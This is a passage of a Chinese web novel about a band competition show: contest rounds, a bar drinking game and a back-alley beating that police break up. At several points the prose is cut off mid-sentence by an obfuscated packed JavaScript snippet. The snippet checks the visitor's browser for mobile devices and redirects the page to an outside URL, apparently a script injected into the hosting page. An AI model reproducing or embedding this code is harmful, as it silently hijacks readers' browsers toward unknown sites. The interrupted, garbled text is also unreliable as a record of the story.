“好，你答应了可别反悔。”于川狠狠地咬了咬牙，“来之前你跟我说包冠军的，说到做到，要是没做到你们后续的节目我都不会参加了。本来我跑跑巡演还能赚更多呢，来这里累死累活的。” “于老师辛苦了，我们保证不会让于老师受累的，你有什么要求都可以和我们工作人员提出。” “行，我就等着看了。”于川满意地挂断了电话。 经纪人一直在一旁看着，听到结束通话后立刻迎了上去：“于老师，有什么需要我做的吗？” “真巧了，我要让你帮我办点事情。”于川在他耳边嘱咐了几句，经纪人不住地点头，然后就推门出去了。 第二天就有人把节目录制的感想发到了网上，那句齐扬说“有自己的耶利亚女神”用了加粗字体重点标注，一时间引起了轩然大波。 大家都迫切地想知道这个神秘的女神到底是谁，开始了各种考古。表白墙上的那张照片也被再次翻了出来，更有好事者直接在余念的微博下面评论，逼得余念不得不澄清自己快和男朋友结婚了。 这次寻找女神的行动最终无果，但节目组却趁着这波流量放出了第三赛段的预告以及晨星乐队的访谈，狠狠地涨了一波粉。 为了趁热打铁，他们打算把第三赛段的播放时间提前，同时开始第四赛段的录制。 录制的地点从草坪转移到了室内，大概是导演也怕这群“初中生”到处乱窜。 “首先恭喜我们各个乐队过五关斩六将，离胜利只差一步了。”导演挥了挥手才让大家安静下来，然后浅笑道，“当然现实依旧是残酷的，跑过音乐节的应该都知道我们音乐节有AB舞台，分时段进行不同乐队的表演，所以你们猜一猜我们这一阶段的规则是什么？” “AB舞台赛？”郭卫率先举手。 “聪明。”导演打了个响指，“顾名思义，我们的AB舞台赛就是十支乐队分为五组，每组演唱同一首歌，歌曲可以自由改编，你要A舞台B舞台任选。演出中观众可以在两个舞台之间随意走动，结束时候站在你这边的观众即为大众评审的票数，再加上专业评审的，票数更高的获胜。” “那这不就是公开处刑了吗？”颜承宇叫了起来，“你们节目组可真会玩。” “是啊，不然怎么能增加看点呢？”导演大言不惭地说道。 颜承宇朝他呲了一下牙，愤愤地坐下了。 导演继续说下去：“那乐队的出场顺序以及歌曲的抽签呢，就要通过一个小游戏决出。” “又玩游戏啊。”颜承宇哀嚎道，“我这把老骨头真受不了。” 导演没有理会他，让工作人员搬了一个箱子上来：“下面先确定一下分组，这里面有五组卡牌，两张卡牌能拼起来的即为一组。” 齐扬随意地把手伸进去一抽，抽到了半个月饼，对上了郭卫快惊掉下巴的脸：“不是吧，又是你？” 其他的人开始起哄：“真是冤家何处不相逢啊，天生的对手。” 樊博宇更倒霉，抽到的对手竟然是于川，脸都快绿了。 于川搂过他的肩膀拍了拍：“没事，你不用怕，怎么唱都行。” “是是是，和老师多学习学习。”樊博宇讪笑道，眼神快哭出来了。 导演提高了嗓门，好不容易才制止他们叽叽喳喳的声音：“下面请各个乐队按分组站好，游戏很简单，就是猜成语，一个人比划，一个人猜。对得越多，越有优先选择我们墙上金曲的权利，出场顺序也越靠后。” 王清妍走过来，给了宋之雯一张表：“你负责计分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋之雯也很佩服郭卫的心态，无论什么情况下都是乐呵呵的，仿佛他面临的根本不是淘汰赛，而是一场演唱会。 齐扬小声地对旁边的秦伊莲说道：“你怎么受得了他的？” 秦伊莲“哼”了一声：“全凭我的良心。” 选好歌确定好AB舞台之后，各个组就回到自己的房间内开始闭门造车。 因为唱的是同一首歌，一般人都忌惮自己的创意被对手偷走，没想到郭卫却大大咧咧地坐在晨星乐队的排练室里，嬉笑地看着齐扬：“我们分享一下自己的想法，怎么改编这首歌，免得创意重了。” “你严肃点，要知道我们现在可是对手，你不怕吗？”齐扬敲了敲桌子提醒他。 “别这么愁大苦深的，比赛而已嘛，无论是我还是你哪一个晋级都可以。再说了，就算淘汰，以我们的实力，也有大概率回来的。” “是啊，你背靠大公司，能出唱片参加综艺节目，当然不用担心。”齐扬叹了口气，“可是我和你不一样，我现在什么都没有了。” 郭卫抱着手臂歪着头：“哦，我明白了，你是怕淘汰了就追不到你女神？” 49. 第四十九章 天后 齐扬的嘴角耷拉了下来，看他的眼神带了敌意：“你什么意思？” “没别的意思啊。”郭卫摆摆手，“我是说如果你女神喜欢你的话，不会让你追的，不喜欢再怎么追也没用。” 齐扬反唇相讥：“那两年都过去了，你和秦伊莲怎么一点进展都没有呢？” “咳咳咳。”郭卫的脸瞬间红了，“我们别聊这个话题了吧？你打算怎么改？” “我嘛......打算加入一点古典乐器，往苦情歌的方向改。” “受了情伤是吧？” 齐扬一个眼神扫了过去，郭卫立马举手投降：“好好好，你打算用什么乐器啊？” 齐扬没有回答。 “嘴这么严是吧？放心，我又不会剽窃你的创意。我跟你完全不一样，我要唱摇滚。”郭卫甩了甩头发。 齐扬轻轻地踢了他一脚：“那还不快滚，改歌去。” 郭卫立马屁股着火似的连窜带逃跑出去了。 齐扬舒了一口气，终于清净了，这小子怎么和吴衡一样烦人。 他看向了一旁等得快睡着的何瑜：“瑜姐，你的大提琴还在吗？” “在呢，都在地下室里积灰了。”何瑜有气无力地回答。 齐扬苦笑道：“那可能要麻烦你拿出来擦擦灰了。” “我尽量吧，先试试音准不准，再练练指法，已经忘得一干二净了。” 由于加入了新的乐器，和弦又要重新编写，为此吴衡没少骂人，但骂完之后还是老老实实地编曲去了。 这两天的排练宋之雯都陪着各支乐队到凌晨，拿茶壶烧了一大壶罗汉果茶，装在纸杯里给他们送去。 在敲开格律乐队的门的时候，宋之雯已经充分做好了被他们拒绝的准备。没想到颜承宇眼睛都亮了：“谢谢你啊妹子，我正好需要这一口，这两天练得嗓子疼。” 他直接接过托盘，分给其他成员：“来尝尝啊，人家小姑娘亲手泡的。” 其他人喝过之后，都表示好喝，宋之雯不好意思地笑笑，退了出去。 无论是老牌乐队还是新乐队，此时都拿出了全部的力气，因为他们心里清楚，双方正站在拉锯战的两端，不是你死就是我活。 优胜劣汰，自然的规则就是这么残酷。 彩排的当天，宋之雯跟着听了两个版本的歌。不得不说留到最后的都是精英，每支乐队都有自己独特的风格，谁输谁赢还真不一定。 一晃到了录制，原先一体的舞台被滑轮分成两半，上方分别贴了红色的“A”和蓝色的“B”的标识，中间升起了一个圆台供主持人使用。 后面的大门缓缓打开，谢季青在朦胧的特效中走来：“大家好，欢迎来到《最强live》的第四赛段AB舞台挑战赛。本期乐队将分成五组，每组依次在AB舞台上演唱同一首歌。由于是最后一期淘汰赛，获胜的乐队将直通总决赛，所以为了这次胜利，乐队们都卯足了劲，我也希望他们都能得偿所愿。” 舞台的灯光变换起来，五颜六色地打在舞台上，导播借此机会开始热场，观众更是自发地形成了“人浪”。 谢季青神秘地笑了一下：“第一支要为我们表演的是什么乐队呢？你们一定想不到，重磅嘉宾。” A舞台瞬间闪现出花体的“next”，紧接着出现了麋鹿乐队的标识。 观众开始惊呼：“第一把就玩这么大的吗？” “还是说郭卫手气不好，两次都抽到了第一个？” 面对观众的欢呼和热烈的讨论，郭卫没有开口，而是用音乐来回答，上来就是大力地扫弦和重磅的旋律。虽然经过改编，但观众听得出来这是《天后》，更添了一层惊喜。 郭卫的声音嘶哑但无比坚定，尤其是关键的咬字都格外用力，到了副歌更迎来了一阵爆发。这阵力道一直到过渡段才迎来了转折，他的音调变得更高了一点，声音更透亮了一点，最后渐渐地弱下去，消散在了空气中。 观众忍不住拍手：“真的太好听了，把摇滚和情歌结合到了极致。” “唱成这样我实在想不出他的对手该怎么接。” 一些观众已经自觉地站到了郭卫那边，而另一些按兵不动的实际上也在忧郁。 谢季青静静地看着台下观众的反应，露出了耐人寻味的微笑：“他的对手同样实力也很强劲，我先不说是谁，就让舞台来揭晓吧。” B舞台此时开始闪烁了起来。和A舞台那种富有冲击力的红色字体不同，B舞台的“next”是淡雅的冰蓝色，幕布缓缓地落下来，舞台上方升起了一颗星。 这无疑在观众中投了一颗重磅炸弹。 “卧槽，我没看错吧？晨星乐队和麋鹿乐队对打？” “这怎么选啊？必然要淘汰一个，手心手背都是肉。” “节目组这是写的虐粉剧本吗？” 忽然一阵大提琴的声音响了起来，所有人都安静了下来。只见何瑜穿着一身白色的纱裙，手指轻捻琴弓，在琴弦上来回滑动，哀怨的旋律从琴上流出，犹如低低的哭泣。 和郭卫的演唱风格完全不同，齐扬开头并没有让人觉得他使了多少力，而是轻飘飘地带过。 终于找到借口趁着醉意上心头 表达我所有感受 寂寞渐浓沉默留在舞池角落 你说得太少或太多 都会让人更惶恐 吉他和贝斯伴随着他的演唱，旋律一直是轻柔的，就连鼓也是到点上了才敲一下，但他越是这样云淡风轻，越让人觉得他在强忍伤痛。 我嫉妒你的爱气势如虹 像个人气高居不下的天后 你要的不是我而是一种虚荣 有人疼才显得多么出众 我陷入盲目狂恋的宽容 成全了你万众宠爱的天后 若爱只剩诱惑只剩彼此忍受 别再互相折磨 因为我们都有错 齐扬唱到这里的时候情绪明显变了，“嫉妒”甚至带了颤音，“折磨”的时候咬牙切齿。何瑜也彻底放下了大提琴，开始回归她的键盘。随着情绪的浓烈，调子节节攀升，不再像之前那样温柔，喜怒哀乐交织在一起，最终迎来了井喷式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没什么可说的。”杨千帆直接竖了两个大拇指，“你们两个年轻人就是乐队的未来，是时候接过接力棒了。” 程云山也笑得很开朗：“我的想法和杨老师一样。” “虽然说都是宝，但是胜者只有一个，所以关键时刻还是要做出选择。”谢季青及时提醒，“该是投票的时候了。” “不能双选吗？”有观众提议。 “很遗憾。”谢季青摇头，“没有。” “我提议，下一季把双选加入到赛制中。”涂龙这么一说，立刻引起了很多观众的赞同。 然而抗议无效，认命的观众只能低头投票。 齐扬和郭卫就这么站在舞台的两端，彼此对望着，给了对方一个肯定的眼神后一齐转向大屏幕。 红蓝两方的票数第一次这么均等地上升，几乎肉眼看不出来差别，直到最后，要不是上面打了数字，观众也分辨不出来到底谁赢了。 50. 第五十章 玩笑 275：276，仅一票之差。 郭卫服气地点头，然后替齐扬拍手。 “郭卫啊，我问你个问题。”涂龙眼带笑意地看着他，“两年前是麋鹿乐队晋级，晨星乐队淘汰了，如今晨星乐队又杀回来报仇，你有什么感想？” “风水轮流转嘛，晨星乐队真的是一个值得的对手。”郭卫释然地笑了，主动越过舞台和齐扬握手，“等我回来，我相信不会太久的。” 齐扬用力地摇晃了一下他的手：“等你。” 按规则输的一方要从舞台边上下台，郭卫下去的时候还不断向观众挥手：“没准我们下一期就见面了，你们别忘了给我投票啊。” 这波举动赚了不少观众的眼泪。 “晨星乐队，恭喜你们获得了直通总决赛的资格。”谢季青把一个金灿灿的信封交到齐扬手上，“下面请往前走，迎接你们的荣耀时刻吧。” 齐扬把信封在成员手上传递了一圈，每个人都感觉这张邀请函沉甸甸的，因为他们实在等了太久太久了。 舞台整个变成了金色，就像一座殿堂，大门缓缓打开，红毯铺在地面上。 齐扬回头看了一眼宋之雯的方向，看见她也在鼓掌，满意地笑了，大步向里面迈去。 第一场就经历了这样钝痛的割舍，让观众彻底意识到了这场比赛的残酷性。 后面的选择也没有容易多少，同样都是走小清新风格的，一支广东乐队，一支台湾乐队，最终广东乐队以微弱的优势胜出。同样都是北方汉子，蒙古大汉对东北大汉，最终东北大汉略胜一筹。 不知不觉就迎来了最后一场，Urban乐队与飞花乐队的对决。 樊博宇一身刺绣的白衬衫加牛仔裤，戴着一副金属圆框眼镜，又变回了当初那个青涩的理工男。 他的演唱基本遵循了原曲，本身声音就偏亮，再加上清爽的装扮，真有那么点少年情窦初开的味道。 观众只有小幅度范围的移动，他们还在等待着于川的表演。 飞花乐队的舞台布置得很精细，从头到脚都是如水一般流动的深蓝色，中间夹杂了银色的光点，仿佛沉浸在夜空里。于川坐在一个高脚凳上，面对着一个摇篮，身上的衣服也很居家暖男风，浅蓝色的毛衣点缀着黄色星星。 他温柔地看着摇篮，特意压低了声音，仿佛在哄婴儿睡觉。 今夜的月光超载太重 照着我哄一夜不成梦 每根头发都失眠 底下的观众闭着眼静静享受着，他们没想到铁汉也有柔情的一面。 到了副歌部分，于川忽然站了起来，前面的温柔也不见了，声音渐强，带了些许悲怆。 不管要多少时间 多少眼泪多少落空来等待 不管你是不是会回来 其实我也不明白 为什么如此傻傻地期盼 你是我仅有的爱 观众算是明白了，这是歌里的父亲唱给自己去世的女儿的，布景、歌词全都串起来了。他们没想到《无眠》竟然还能这么改，都服气地拍手。 205：281，几乎是压倒性的胜利，而且飞花乐队再一次刷新了单场的最高得票记录。 涂龙也没什么好点评的，只能很官方地对樊博宇说了一句：“小伙子，还年轻，加油。” “没事。”樊博宇摇摇头，走过去拥抱了于川，算是体面地结束了这场比赛。 至此，通往决赛的前五强已经全部诞生。导演让他们站在台上拍了个大合照，并通知他们下一期的复活赛可以休息，好好准备决赛。 真是一个几家欢喜几家愁的夜晚。 录制结束后，于川还在舞台上留了一会儿，和各家乐队寒暄，鼓励他们回来。走下台的时候，他的眼光忽然瞥到了宋之雯，对她笑了一下：“小姑娘，来这里实习的？” 宋之雯也惊讶，自己一个小透明，怎么会被老前辈注意到？他的目标可真够多的。 表面上她还是乖巧地应答道：“对。” “为什么想来这里实习？”于川走到了她面前。 “因为比较喜欢网络新媒体这一块，而香橙视频做影视和综艺又是数一数二的，所以想跟着各个前辈学习学习。” 于川笑得更厉害了：“那你可真是来错地方了，结果可能会让你失望的。” “没事，我在来之前就已经了解到这一行工作很辛苦，再说还有比我们更辛苦的人，比如前辈您，音乐节完了就赶来彩排录制了。” “真是能吃苦的小姑娘。”于川赞许地点头，“要是我身边有你这样的工作人员就好了。” 宋之雯笑得有些勉强：“谢谢前辈的抬举，但我只是一个小小的实习生，恐怕能力还不够。” “行，那你再锻炼锻炼。”于川伸出了手，想要拍拍她的肩膀。 在于川的手快要触碰到了那一刻，宋之雯迅速地握住了他的手：“于老师，我刚刚看了你的表演，真是改编得太巧妙了，我都没想到。之前我一直没好意思说，我和我爸妈都特别喜欢你，眼看快决赛了，能不能给我签个名合个影啊？” “没问题啊。”于川问工作人员要了一张明信片，给她签了名。 宋之雯把手机递给了谢季青：“青青姐，帮我们俩拍张合照吧。” 于川搂过宋之雯，和她比了好几个手势。 “谢谢。”宋之雯接过手机，对于川说道。 “哎，宋之雯，下班了和不和我们去喝一杯？”郭卫冲她喊道。 “来了来了。”宋之雯把手机放进口袋。 她边走边和郭卫说道：“你终于记住我的名字了。” “那可不，你说一次就记住了。”郭卫坏笑着，“齐扬他们也一起去。” 欸？宋之雯还没来得及后悔，就被郭卫推上了车。 地点依然是选在jazz酒吧，老板娘早已在角落里给他们开了一张大桌。何瑜一看见宋之雯就向她招手：“阿雯，这里。” 宋之雯左右看了看，只有秦伊莲和齐扬之间还空了两个座位，郭卫已经抢先一屁股坐在了秦伊莲旁边。 “......”怀疑他们是故意的。 宋之雯把椅子搬得离郭卫近了一点，才坐下来。 郭卫敲了敲桌子：“都别客气啊，尽情喝，今天我请客。” 齐扬不解地看着他：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965112|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不是输了吗？怎么这么开心？” “庆祝我一个赛段结束了啊，你也可以休息休息了。”郭卫手一摊，“有什么不能喝的？非得要最后胜利的才喝？” 他把酒水单推到了宋之雯面前：“随便点啊。” 齐扬眼疾手快夺了过去：“别喝了，你上次答应过不喝的，点杯饮料。” 郭卫瞥了他一眼：“你就护着吧，没事，我们还有瓶装的酒。” 老板娘把所有人的酒水都放到一个托盘里，盘子有点重量，端着很费劲。叶琛便站了起来，帮老板娘分担了几杯，放在大家的面前。 郭卫很懂地发出了“哦”的一声。 齐扬拿肩膀撞了一下他：“哦什么哦，你自己的事情还没解决呢。” 几个人围坐在一起碰杯，聊着对未来的规划，还说好要合作出一首歌。 一瓶酒见底了，郭卫不知道从哪儿拿出一副卡牌：“光喝酒没劲，玩点有意思的吧，真心话大冒险。” “切，老套。”秦伊莲用眼睛白他。 “玩不玩？” “行，你要玩就陪你玩吧。”秦伊莲不情愿地答应了。 郭卫把酒瓶转了一下，没想到第一个就指向了自己，大家瞬间都不顾面子地笑了起来。 “那就大冒险吧。”郭卫抽了一张，结结巴巴地念了出来，“亲一下......你最左边的......异性？” 最左边的，无疑是秦伊莲。 大家齐刷刷地看向秦伊莲，暖黄的灯光把她的脸照得也不再泛着冷意了。她像个雕像一样静默了一会儿，然后指了指自己的脸道：“你亲吧。” 所有人这才反应过来眼前发生了什么，爆发出一阵尖叫和欢呼。 郭卫强压下去上扬的嘴角，柔声说道：“得罪了。”然后一个吻轻巧地落在了秦伊莲的脸颊上。 “来，继续继续。”吴衡瞬间来了兴致，没想到他抽到的却是和右边第二个同性深情地拥抱10秒，只好不情愿地抱了韦峰。 酒瓶继续转着，绕了一圈，缓缓地停在了宋之雯前面。 郭卫也愣了：“真心话和大冒险，你选一个吧。” 宋之雯想了想，怎么都是坑，便认命地答道：“你定吧。” “你确定？”郭卫兴奋地搓手，准备大干一场，“那就大冒险吧，亲一下你右边的第一个异性。” 宋之雯转头，触碰到齐扬的目光，无声地和他较量着。 她最终还是转了回去，伸手去拿酒杯：“我认输，我喝酒。” 没想到她手还没伸到一半，就被另一只有力的手拦了下来。齐扬抢先一步拿到酒杯，然后一饮而尽。 “好。”郭卫开始鼓掌，鼓了半天发现只有他一个人，只能尴尬地停下了。 后面的游戏谁也没敢再玩过火，大家默契地都选了真心话，问的也是“你小时候做过什么傻事”这种无关痛痒的问题。 郭卫一连干了几瓶，直到喝不动了才被秦伊莲架着走。齐扬和宋之雯也相继起身，站在外面等车。 夜已深沉，齐扬的眼睛漆黑如浓墨，他盯着郭卫，一字一顿地说：“刚刚你开的玩笑，我很不喜欢。” 51. 第五十一章 危机 “我不过是想帮你嘛。”郭卫喝得醉醺醺的，说话都大舌头了。 “我不需要你帮。”齐扬冷冷地回应。 “说真的郭卫，你知道自己有时候很没脑子吗？”宋之雯也很不客气地说道。 “不知道。”郭卫说完这句话，就趴在秦伊莲肩上睡着了。 齐扬嫌弃地撇了撇嘴，对秦伊莲说道：“把你男人领回去吧。” 车来了，他帮着秦伊莲一起把郭卫塞了进去，然后替他们关上了门。 冷风中，只剩下了齐扬和宋之雯两个。 “其实你不用太在意。”宋之雯的面容又恢复了平和，“我知道郭卫是开玩笑的，也没真的生气。” “哦。”齐扬只回了这一个字。 宋之雯想了半天也不知道该说什么，只能挤出来一句：“决赛加油。” “会的。” 齐扬插着兜看向后方：“车来了，你先走吧。” 宋之雯拉开车门坐了进去，又把车窗摇了下来，和他挥挥手：“再见。” “再见。”齐扬目送着车缓缓远去，点了一根烟，然后长长地吐出一口烟圈。 第二天早上宋之雯就收到了郭卫道歉的消息：“对不住啊，昨天晚上喝多了开玩笑没分寸，你千万别生气啊，我下次再也不敢了。” 宋之雯无奈地回了个“没关系”过去，想了想，还是找到了舒青竹，问能不能给麋鹿乐队投票。 舒青竹回了个问号：“？你怎么每次找我都在拉票，我说你不可能没事找我。” “这个乐队是我录制以来一直跟着的，实力真的还不错，淘汰了实在可惜。” “怎么跟你上次给晨星乐队拉票的时候一模一样？” “这次不一样了，我跟他们也不熟，完全是被实力征服的。”宋之雯急着解释。 “行，我知道了，一会儿我转到亲戚群里。” “谢啦，下次你再来请你吃饭。” 自从上一期录制结束以后，网上就陆陆续续有麋鹿乐队淘汰的消息传出来。一路追下来的观众纷纷为乐队鸣不平，更有好事者去晨星乐队微博底下骂的，骂他们皇族，靠关系上位，这些齐扬都没有理会。 直到正片出来，大家才不得不服气，虽然麋鹿乐队唱的是好，但还是晨星乐队更胜一筹。 尤其是郭卫背身挥手那个镜头，赚了不少同情分，一夜之间麋鹿乐队的票数就来到了第一位。 沉寂许久的晨星音乐社群也又活跃了起来，齐扬拜托了很多毕业的老社员给郭卫投票，顺便借此机会叙了一波旧。 尹心悦已经毕业在一家会计事务所工作，她很积极地动员身边的同事投票，又告诉齐扬自己每一期节目都看了，也认出了旁边的工作人员就是宋之雯。 齐扬不知道该说什么，只能说了声谢谢。 经过了近两个星期的投票，麋鹿乐队以第一的位置继续领跑，同时Urban乐队也靠他们强大的粉丝基础闯进了复活赛。 复活赛的规则很简单，一共十支乐队，按抽签顺序演唱，票数最高的两支队伍就算复活成功。 在确定名单的那一天，齐扬给郭卫打了一个电话：“有没有需要帮忙的？” “你怎么突然这么好心了？就不怕帮了对手把自己坑了？” “因为我后面也需要你的帮忙。”齐扬的嘴角扬起，“不然这比赛没意思。” “行，那你说怎么帮？” “先要确定你唱什么歌。” “就唱我们的新歌《逐鹿》吧。” “这首曲子本身就是比较燃的，我有个建议，可以加入一点传统乐器。”齐扬开始摆弄电脑，“我做一版demo发你听听。” 他花了一天时间就把曲子做好了，发给了郭卫。郭卫在听完之后，摘下耳机，张大嘴巴说了一声：“靠，神了，输给他真不冤。” 秦伊莲立马和何瑜联系，调用她的关系请了一位乐器老师过来一起排练。 在紧张的备战中，复活赛终于来临了。 已晋级和已淘汰的乐队都被请过来在台下当观众，第一次不是作为选手的身份，氛围轻松了不少，大家都有说有笑的。 台上的可就不同了，每个人的眼里都写满了野心，毕竟进与不进决赛，这身价可就不一样了。 与上一期朴素的造型不同，樊博宇这期精心做了妆造。头发全都往后梳，挑了几缕烫染成金色，身上搭配的也是用金边装饰的西装，几乎是花了最大的力气从外观上博眼球。 宋之雯经过他身边的时候，朝他做了个手势，微笑着说了句“加油”。 樊博宇冲她礼貌地点点头。 现场的灯光逐渐暗了下来，复活赛正式开始。 这次复活的队伍各不相同。有靠着亲和的形象赢得粉丝的绵羊乐队，但唱功实在是差点意思，也有上次被喷得很惨的民谣乐队，说再次来到这里想挑战自己，还有呼麦的蒙古族乐队，说想把民族的推广到全世界。 宋之雯从不同的乐队身上看到了同样的坚持，不禁有些动容。 轮到Urban乐队上场了。 樊博宇这次的目标很明确，就是奔着复活来的，因此一上来就舞了一小段剑术，刀光剑影刺得人眼睛疼，然后利落地把剑插进了剑鞘中。 宋之雯已经猜到他要唱什么了，是他们乐队那首很有名的《骑士与剑》。 这首歌偏暗黑系，带有很强烈的中世纪的风格，古典和现代音乐融为一体，因此樊博宇一开始的声线也偏阴沉一点。然而渐渐地，舞台就亮了起来，一道光柱从中间打下来，颇有劈开黑暗的架势，樊博宇的高音也顶得恰到好处。 一场表演下来，乐队都自发地鼓掌，颜承宇更是评价小樊很努力，一场比一场有进步，正如他歌词所唱的那样“勇敢的骑士相信光明，冲破黑暗”。 268票，很不错的一个分数，但具体还要看后面乐队的表现。 麋鹿乐队一上台，就请人把一个巨大的古筝搬到了台上，底下的观众眼睛都瞪圆了。 真下了血本了。 宋之雯毫不在意地一笑，因为她早就知道了。 古筝老师轻松地挥手一拨，弦与弦发出激烈的碰撞，大有千军万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郭卫高兴得一把把秦伊莲抱起来转了一个圈：“我们赢了，又能多唱一首歌了。” 一旁的鼓手廖可抱着手臂，无语地看着他们。 樊博宇始终紧绷着的一口气也松下来了，暗暗做了个胜利的手势。他的队友也揉着他的肩膀祝贺他。 一个大家都皆大欢喜的结局。 录制完毕后，台下的乐队也都上台，和台上的拥抱庆祝，这个时候已经没有了比赛，只有友谊。 输了的乐队也不气恼，互相约着节目之后再聚。 宋之雯从侧边拿出了工作人员准备的小礼物，挨个发给离开的乐队，是他们平时训练的日常，做成了相册。 随后她又拿出自己的工作簿，请他们留言，并和他们合影。 等所有的事情都忙完之后，不知道过了多久了。宋之雯背起包正准备离开的时候，忽然见何瑜急急忙忙地跑了过来：“你看见齐扬了吗？” 52. 第五十二章 谈判 “没有啊。”宋之雯摇头，“我刚刚还看见他和几个人有说有笑的，不是去和郭卫喝酒了吗？” “我什么时候说过要和他喝酒？”郭卫大喊冤枉，“自从上次之后我还敢请他喝吗？” “那现在怎么办？”何瑜眉头紧锁，“打他电话也打不通。” 宋之雯想了想，还是把这个情况报告给了王清妍，王清妍直接撂下一句话：“赶紧找，艺人丢了你要负责的。” “这样吧，我们分头找。”何瑜开始指挥，“前面那条商业街你熟，你去看看，我们去jazz酒吧问问他有没有来过。” 宋之雯点头，拔腿就要走，被张浩一把拦下：“你靠脚丈量世界啊？” “我可以扫一辆门口的公共自行车。” “太慢了。”张浩扔给她一把钥匙，“我的小电驴借你。” 宋之雯稳稳地接住，对他笑了笑：“谢了。” 出发之前，她先给林嘉和打了个电话，告诉了他齐扬不见了的事，问他有空能不能帮着一起找。 林嘉和很干脆地答应了。 宋之雯戴上头盔，跨坐上小电驴，拧开把手疾驰而去。此时还是暮春时节，夜晚的风吹到脸上有点冷意，她一边开一边仔细地环顾四周，繁华的商业街如飞一般倒退，她第一次觉得这城市如此之大，如此寂寞。 商业街都要开过了，还是不见齐扬的身影，基本排除了他录完节目饿了，去买个夜宵的可能性。 宋之雯在街边停了下来，询问何瑜那边的进度，何瑜回复老板娘说齐扬根本没来过。 宋之雯的心一紧，再发消息给何瑜，让她问问老板娘周边还有哪些有名的酒吧。 很快何瑜就发了一长串名单过来。 这时林嘉和打电话给她，说齐扬也没有去学校。 宋之雯把最近一家酒吧的地址发给了他，说现在这里会合，然后按照酒吧一家一家找。 林嘉和很快就骑着电动车赶到了，大口喘着粗气，发丝浸湿了黏在额头上：“我说这个齐扬怎么回事，让大家满世界地找他。” “他不是会不回消息失联的人，我偶尔跟他对接工作，在忙也会回复，不行打个电话也能找到他。如果说连电话也不接的话，可能事情就比较严重了......”宋之雯心里骤然升起一种很不好的预感。 林嘉和打断了她：“别瞎想了，你把后面几家的地址发给我，我们分开找。” “要特别注意酒吧附近的小巷子，那些人一开始可能真的是骗他去喝酒的，后面干什么就不得而知了。” “好。”林嘉和立刻扬长而去。 宋之雯一边骑，一边心砰砰直跳，现在齐扬的情况不知道怎么样了，万一晚一点，后果真的不敢想。 其中的一家酒吧在七拐八拐的胡同里，宋之雯费了老大劲才找到。里面只有几个客人，狭小的窗户发出幽暗的蓝光。周围是破旧的居民区，上面用红色的颜料涂了“拆”的字样。 胡同里的路灯也坏了，一片漆黑，宋之雯的手心都出了汗，但她还是强忍着害怕，慢慢地开进去。 到了拐角处的时候，她忽然听见里面有声音：“你不是很能耐吗？今天就打死你。” 她的手都抖了起来，先悄无声息地把车停在房子后面，把手机屏幕调到最暗，给林嘉和发了条短信，再给最近的警察局也发了一条。 林嘉和很快就赶到了，和她摸着墙一步一步地往前走，小心地探出一个头。 齐扬正躺在地上，被几个彪形大汉围着，一人一脚地踹，嘴里骂着：“看你在舞台上很嚣张啊，这会儿怎么没动静了？你有本事起来啊。” 齐扬的额头上已经渗出了血，他嘴角一歪，露出一个带有冷意的微笑：“技不如人就好好精进自己，采取这种下三滥的手段有什么意思。” “你给我闭嘴，这里没你说话的份。”彪形大汉怒了，朝他的肋骨就是一脚。 齐扬痛得哼哼，很快就不说话了。 宋之雯有种立马冲上去和他们拼命的冲动，但还是硬生生忍住了。她掏出手机，录了一小段，然后拨通了警察局的电话，这才把手机放回口袋里。 她缓缓地走向前，站在了他们中间，声音冷漠地说：“住手。” 那几个大汉看来的是个小姑娘，不屑地笑了：“小妹妹，少管闲事，不然连你也是这个下场。” “现在是法治社会，你们这么做就不怕被人发现吗？” 那几个大汉笑得更厉害了：“这里这么黑，又没有监控，能拿我有什么办法？” “我们谈谈吧。”林嘉和走了上来，“打人总要有个理由吧？” “没有什么理由，得罪了我们老大的人都没有好下场。” “你们老大是谁？” “我们老大也是你能问的？”大汉给了他一个不耐烦的眼神。 “说实话我们也是有帮手的，所以我想和你谈谈条件，这个人我要了，你们要怎样才肯放了他？”宋之雯竭力控制住自己的声音不颤抖。 “打残了为止，你最好在旁边看着，不然连你也一起打。” “说实话他有一点说得没错，你们老大有这功夫打人，还不如好好练练歌，毕竟解决掉一个对手还有下一个。”宋之雯抱着手臂看着他们。 那个大汉立刻就要冲上去，被另外一个拉住了：“别节外生枝。” 紧接着那个大汉又半信半疑地看着她：“小妹妹，你看起来弱不禁风的，你在这个片区真的有人？” “对啊，我和这个片区的老大可熟了，这一整个片区都是他管的。” “你们什么关系？” “这就不是你能问的了。” 这时小巷那边忽然亮起了一道光，紧接着传来了警笛响起的声音。林嘉和惊喜地说道：“来了。” “看吧，刚刚你们说的话我都录音了，等着回去做笔录吧。”宋之雯掏出手机，按下了暂停键。 这时从警车里冲下来几个警察，麻利地把这几个大汉制服，拷上了手铐。 宋之雯走过去把齐扬扶了起来：“你没事吧？” 齐 